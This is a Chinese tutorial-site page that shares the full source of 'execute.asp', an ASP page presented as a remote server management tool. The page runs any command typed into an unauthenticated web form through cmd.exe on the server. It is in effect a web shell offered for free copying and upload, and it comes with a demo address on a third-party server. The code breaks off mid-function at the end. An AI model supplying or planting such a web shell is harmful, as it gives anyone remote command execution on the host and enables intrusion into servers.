当前位置: 首页 > 图文教程 > 网络编程 > ASP > 可以执行系统命令的ASP原码放送

ASP
ASP调用ORACLE存储过程并返回结果集
用ASP实现网页BBS
关于Global.asa文件的深入研究与session变量失效提示的具体方法
简易ASP+注册系统
防护手册:如何防止ASP木马在服务器上运行
用Visual Basic实现多画面播放功能之二
如何增强ASP程序性能(1)
如何增强ASP程序性能(2)
如何增强ASP程序性能(3)
ASP备份数据库
二十八条改善 ASP 性能和外观的技巧
在Form域中Post大于100K的数据
如何使用ASP制作模似动态生长的表单?
Microsoft IIS 真的如此「不安全」吗?(1)
Microsoft IIS 真的如此「不安全」吗?(2)
Microsoft IIS 真的如此「不安全」吗?(3)
Microsoft IIS 真的如此「不安全」吗?(4)
Microsoft IIS 真的如此「不安全」吗?(5)
关于页面和代码分离
ServerVariables 对路径的操作

可以执行系统命令的ASP原码放送


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-03   浏览: 147 ::
收藏到网摘: n/a

  最近正在写一个远程服务器管理的东东(借鉴了ASE的部分代码、增加了远程
执行命令、上传、服务等功能。),得到了阿新、ADAM、辰儿、ghost_happy、
crazybird等很多网友的帮助,让我很感动,所以我打算写好了以后,全部原代码公布,可以自由修改和散布。你所要做的只是上传程序到一个支持ASP的服务器。

值得注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的
原代码。copy下来另存为execute.asp.

演示地址:http://210.160.4.24/scripts/execute.asp
一台日本的烂机,所以中文会出现乱码!

<html>

<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>执行命令</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);

text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none

}
a:visited{ color: rgb(128,0,0) }
-->
</style>

</head>

<body bgcolor="#000000" text="#C0C0C0">

<form method="POST" action="execute.asp">
  <p align="left">输入要执行的命令:<input type="text" name="ml"

size="20" value="dir c:\" style="background-color: #C0C0C0; color:

#000000; border-style: solid; border-width: 1">
  <input type="submit" value="执行" name="B1" style="background-color:

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>  
</form>  
<%  
ml=request.form("ml")  
cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改

whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")  
RetCode = WShShell.Run(cmd, 1, True)  
if RetCode = 0 Then  
    Response.write ml & " "
    Response.write " 命令成功执行!"&"<br><br>"  
else  
   Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行

!"&"<br><br>"  

end if  
'response.write cmd  
                  
function htmlencode(str)  
dim result  
dim l  
if isNULL(str) then   
htmlencode=""  
exit function  
end if  
l=len(str)  
result=""  
    dim i  
    for i = 1 to l  
     select case mid(str,i,1)  
     case "<"  
     result=result+"&lt;"  
     case ">"  
     result=result+"&gt;"  
     case chr(34)  
     result=result+"&quot;"  
     case "&"  
     result=result+"&amp;"  
     case else  
     result=result+mid(str,i,1)  
end select  
next   
htmlencode=result&nbs